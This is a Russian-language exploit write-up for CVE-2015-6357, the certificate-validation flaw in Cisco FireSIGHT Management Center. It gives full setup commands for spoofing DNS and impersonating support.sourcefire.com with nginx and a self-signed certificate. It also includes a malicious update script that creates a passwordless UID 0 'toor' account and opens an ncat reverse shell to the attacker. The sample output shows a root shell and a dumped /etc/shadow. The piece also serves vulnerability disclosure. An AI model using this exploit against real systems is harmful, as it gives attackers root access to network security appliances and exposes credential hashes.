
Эксплойт для CVE-2015-6357 — уязвимость проверки сертификатов Cisco FireSIGHT Management Center
Сама по себе уязвимость проверки сертификатов Cisco FireSIGHT Management Center имеет средний уровень серьезности с CVSS 5.1. Однако эта уязвимость является примером того, почему проверка SSL-сертификатов так важна. В этом эксплойте я продемонстрирую, как уязвимость может быть использована для получения привилегированного удаленного выполнения команд на системе Cisco FireSIGHT. Эксплойт связывает уязвимость проверки SSL с процессом обновления программного обеспечения на системе Cisco FireSIGHT, чтобы обманом заставить целевую систему загрузить вредоносное обновление и выполнить его для получения обратной оболочки с привилегиями root.

Устройство Cisco FireSIGHT Management Center используется для управления системами предотвращения вторжений (IPS) Cisco FirePOWER, также известными как Sourcefire IPS. FireSIGHT отвечает за загрузку обновленных сигнатур IPS и их установку на управляемых устройствах IPS.
FireSIGHT Management Center позволяет администратору вручную инициировать обновление правил IPS или запланировать обновления ежедневно/еженедельно/ежемесячно.
Когда FireSIGHT Management Center выполняет обновление, он использует UNIX-команду curl
для загрузки с Sourcefire Support. При
вызове команды curl передается опция -k (также известная как --insecure),
которая указывает curl не проверять никакие SSL-сертификаты, представленные сервером.
Вот вывод ps сервера, загружающего обновление:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Обновления FireSIGHT поступают в виде shell-скрипта, сгенерированного makeself, который
содержит как команды UNIX Bourne shell, так и бинарные данные,
которые должны быть доставлены в обновлении. Эти shell-скрипты обновления выполняются
непосредственно на сервере FireSIGHT от имени локального пользователя www.
Атакующий, способный выполнить атаку «человек посередине» против сервера FireSIGHT, может заставить его подключиться к поддельной версии веб-сайта Sourcefire Support и загрузить вредоносный скрипт обновления, который выполнит любую команду, которую пожелает атакующий, на сервере FireSIGHT.
Уязвимость проверки SSL позволяет этому произойти, в результате чего система спокойно игнорирует поддельный SSL-сертификат атакующего, загружает вредоносное обновление и выполняет его.
Если бы команда curl проверяла SSL-сертификат, она бы не смогла
загрузить вредоносный скрипт и защитила бы сервер FireSIGHT от
атакующего.
Этот эксплойт демонстрирует опасность отсутствия проверки SSL-сертификата, используя уязвимость для получения удаленного выполнения команд от имени пользователя root.
Сценарий атаки предполагает, что атакующий получил возможность перехватывать
трафик от сервера FireSIGHT к веб-сайту
https://support.sourcefire.com. Самый простой способ продемонстрировать это —
настроить «скомпрометированный» DNS-сервер, который отвечает на запросы для домена
support.sourcefire.com IP-адресом веб-сервера, контролируемого атакующим.
В реальном сценарии атаки атакующий может использовать любые методы «человека посередине» для достижения той же цели. Например:
Этот эксплойт тестировался на следующих версиях виртуального устройства FireSIGHT:
В PoC ниже серверу FireSIGHT был назначен IP-адрес 192.168.1.99.
Атакующий хост работал под управлением Kali Linux 2.0, хотя описанная ниже настройка
должна работать на любом сервере на базе Debian Linux. IP-адрес хоста Kali
в примере ниже — 192.168.1.1. Хост Kali используется для запуска DNS-сервера,
а также поддельного веб-сайта Sourcefire Support.
Эксплойт требует возможности подмены DNS-ответа для
support.sourcefire.com. Для обеспечения этой возможности запускается сервер dnsmasq, который
действует как «скомпрометированный» DNS-сервер.
Установите dnsmasq:
root@kali# apt-get install dnsmasq
Настройте dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Измените IP-адрес в строке address на адрес
веб-сервера, с которого вы будете раздавать обновления.
Запустите dnsmasq:
root@kali# service dnsmasq start
Для доставки эксплойта на сервер FireSIGHT, когда он запрашивает обновление, требуется веб-сервер.
Установите веб-сервер nginx:
root@kali# apt-get install nginx
Создайте самозаверяющий сертификат для подмены support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Настройте nginx, заменив содержимое
/etc/nginx/sites-available/default на:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Запустите nginx:
root@kali# service nginx start
Эксплойт FirePWNER требует, чтобы с веб-сервера раздавались два файла. Первый файл — это манифест обновления, XML-файл, содержащий список доступных обновлений, их местоположение для загрузки и MD5-хэши.
Сначала нужно создать несколько каталогов:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Затем скопируйте файлы эксплойта в них:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
После копирования этих файлов вы должны иметь возможность перейти по адресу
http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
Далее, для целей демонстрации эксплойта, сервер FireSIGHT необходимо настроить на
использование «скомпрометированного» DNS-сервера. Войдите в веб-портал FireSIGHT и перейдите в
System > Local > Configure > Management Interfaces, установите Primary DNS server на
IP-адрес «скомпрометированного» DNS-сервера (192.168.1.1) и сохраните изменение.
Эксплойт использует команду ncat, установленную по умолчанию на сервере
FireSIGHT, для создания обратной оболочки на хост Kali. На хосте Kali необходимо
прослушивать входящее соединение обратной оболочки от сервера FireSIGHT:
root@kali# ncat -v -l 4444
Затем на веб-портале FireSIGHT перейдите в System > Updates > Rule Updates
и выберите Download new rule update from the Support Site, затем нажмите кнопку
Import. Сервер загрузит манифест обновления sf.xml с
сервера атакующего, увидит, что доступно обновление, загрузит
его и выполнит от имени пользователя www. Приведенный ниже скрипт
обновления/эксплойта использует тот факт, что пользователь www имеет ряд команд sudo,
которые он может выполнять, включая useradd. Эксплойт создает нового пользователя toor с
пустым паролем, а затем использует su для повышения привилегий и запуска обратной оболочки
обратно на сервер атакующего.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
Скрипт эксплойта может быть изменен для выполнения любых других желаемых команд. Если
скрипт изменен, то значение XML-тега <md5sum> в sf.xml должно быть обновлено
новым MD5-хэшем скрипта эксплойта.
Ниже приведен пример вывода, который вы должны увидеть на хосте Kali, когда
эксплойт успешно выполнен и удаленная оболочка на сервере FireSIGHT открыта, а
команды id и cat /etc/passwd выполнены:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
Файлы, используемые в этом эксплойте, можно получить на github.